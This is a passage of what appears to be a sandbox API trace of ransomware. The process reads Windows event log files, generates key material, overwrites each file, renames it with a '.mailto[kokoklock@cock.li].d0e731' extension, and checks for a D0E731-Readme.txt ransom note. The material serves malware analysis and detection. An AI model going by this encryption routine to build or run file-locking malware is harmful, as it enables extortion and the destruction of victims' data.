returned 0 [0164.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0164.997] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.997] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.997] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0164.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99638) returned 1 [0164.997] RtlExitUserThread (Status=0x1) Thread: id = 1548 os_tid = 0xf0c [0164.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.998] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.999] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.999] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x75efeb8 | out: lpFileSize=0x75efeb8*=69824) returned 1 [0164.999] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.999] ReadFile (in: hFile=0x4a0, lpBuffer=0x75efe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x75efe8c*, lpNumberOfBytesRead=0x75efe88*=0x4, lpOverlapped=0x0) returned 1 [0165.000] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0165.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab528 [0165.000] NtQuerySystemTime (in: CurrentTime=0x75efe64 | out: CurrentTime=0x75efe64*=132121213223184276) returned 0x0 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x7330e141 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x60003eb3 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xae5f0996 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xdae4f129 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x4a07cb3d [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x2cb1452 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x45a1f0b8 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x6b1a3d81 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xf2e9b4f [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x9ac30d10 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xd6f16def [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xc595f066 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xda37ad55 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xf2fd9af5 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x879add12 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xde4ca242 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x9dc5bc17 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x8cab2697 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x380e0a2f [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x740efc23 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xcc64a365 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xe99bc47b [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x8963637b [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xc38fccc [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xa5ebed15 [0165.000] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x9777e66 [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xb4e08713 [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0xae3fd942 [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x9cfdafd1 [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x8731beab [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x4a970ae [0165.001] RtlRandom (in: Seed=0x75efe70 | out: Seed=0x75efe70) returned 0x3d70cdae [0165.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0165.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0165.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0165.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0165.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0165.011] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.012] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x75efe3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x75efe3c*=0x4096, lpOverlapped=0x0) returned 1 [0165.012] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0165.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0165.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab320 [0165.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab320) returned 1 [0165.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0165.013] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x75efe3c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x75efe3c*=0x4096, lpOverlapped=0x0) returned 1 [0165.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0165.014] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75efe74, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x75efe74*=0x20, lpOverlapped=0x0) returned 1 [0165.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x75efe88*=0x8, lpOverlapped=0x0) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x75efea0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x75efea0*, lpNumberOfBytesWritten=0x75efe88*=0x4, lpOverlapped=0x0) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x75efe88*=0x4, lpOverlapped=0x0) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x75efe88*=0x6c, lpOverlapped=0x0) returned 1 [0165.014] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x2fab258*, lpNumberOfBytesWritten=0x75efe88*=0x20, lpOverlapped=0x0) returned 1 [0165.015] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x75efe88, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x75efe88*=0x4, lpOverlapped=0x0) returned 1 [0165.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0165.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0165.015] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0165.015] CloseHandle (hObject=0x4a0) returned 1 [0165.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc41c0 [0165.015] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.015] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.015] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.016] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0165.016] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0165.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0165.016] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.016] wcscat (in: _Dest=0x2f80860, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0165.016] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0165.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0165.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6de70) returned 1 [0165.016] RtlExitUserThread (Status=0x1) Thread: id = 1549 os_tid = 0xf10 [0165.017] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0165.018] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0165.018] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x766fab0 | out: lpFileSize=0x766fab0*=69824) returned 1 [0165.018] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.018] ReadFile (in: hFile=0x4a0, lpBuffer=0x766fa84, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x766fa84*, lpNumberOfBytesRead=0x766fa80*=0x4, lpOverlapped=0x0) returned 1 [0165.019] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab258 [0165.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab578 [0165.019] NtQuerySystemTime (in: CurrentTime=0x766fa5c | out: CurrentTime=0x766fa5c*=132121213223340547) returned 0x0 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x8e7c09cd [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x3dd011dc [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x813483f4 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x7463166b [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x88f066df [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x6cd2a83 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x73bb9ed1 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xf0765840 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x27c3cbac [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x450eab57 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x95575606 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x407cd637 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x5e328bef [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x3a5e32fb [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x87ae91ad [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xa76b385 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x890b5ccd [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x49feec14 [0165.019] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x9a2d28 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xd0a9bb3b [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x7a027ed0 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x1045eec7 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x3cc0a857 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xebff9327 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x6033de09 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xc33d31ae [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xc03abe10 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0x54bd08f8 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xcc285442 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xb6fde4b6 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xedba4dd8 [0165.020] RtlRandom (in: Seed=0x766fa68 | out: Seed=0x766fa68) returned 0xe1c0c498 [0165.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab690 [0165.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab038 [0165.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab2f8 [0165.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab038) returned 1 [0165.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc4fc0 [0165.031] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.031] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc4fc0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x766fa34, lpOverlapped=0x0 | out: lpBuffer=0x2fc4fc0*, lpNumberOfBytesRead=0x766fa34*=0x4096, lpOverlapped=0x0) returned 1 [0165.033] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0165.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa20 [0165.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc9060 [0165.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab550 [0165.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab3e8 [0165.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab3e8) returned 1 [0165.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa20) returned 1 [0165.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0165.034] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc9060*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x766fa34, lpOverlapped=0x0 | out: lpBuffer=0x2fc9060*, lpNumberOfBytesWritten=0x766fa34*=0x4096, lpOverlapped=0x0) returned 1 [0165.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc9060) returned 1 [0165.034] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x766fa6c, lpOverlapped=0x0 | out: lpBuffer=0x2fab550*, lpNumberOfBytesWritten=0x766fa6c*=0x20, lpOverlapped=0x0) returned 1 [0165.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab550) returned 1 [0165.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4fc0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fab2f8*, lpNumberOfBytesWritten=0x766fa80*=0x8, lpOverlapped=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x766fa98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x766fa98*, lpNumberOfBytesWritten=0x766fa80*=0x4, lpOverlapped=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x766fa80*=0x4, lpOverlapped=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x766fa80*=0x6c, lpOverlapped=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x2fab258*, lpNumberOfBytesWritten=0x766fa80*=0x20, lpOverlapped=0x0) returned 1 [0165.035] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x766fa80, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x766fa80*=0x4, lpOverlapped=0x0) returned 1 [0165.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab258) returned 1 [0165.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab690) returned 1 [0165.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab2f8) returned 1 [0165.036] CloseHandle (hObject=0x4a0) returned 1 [0165.036] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc3fe0 [0165.036] wcscpy (in: _Dest=0x2fc3fe0, _Source="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.036] wcscat (in: _Dest=0x2fc3fe0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.036] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.037] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fe0) returned 1 [0165.037] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0165.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0165.037] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.037] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0165.037] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0165.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0165.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6f050) returned 1 [0165.037] RtlExitUserThread (Status=0x1) Thread: id = 1550 os_tid = 0xf14 [0165.251] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0165.251] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.251] CreateFileW 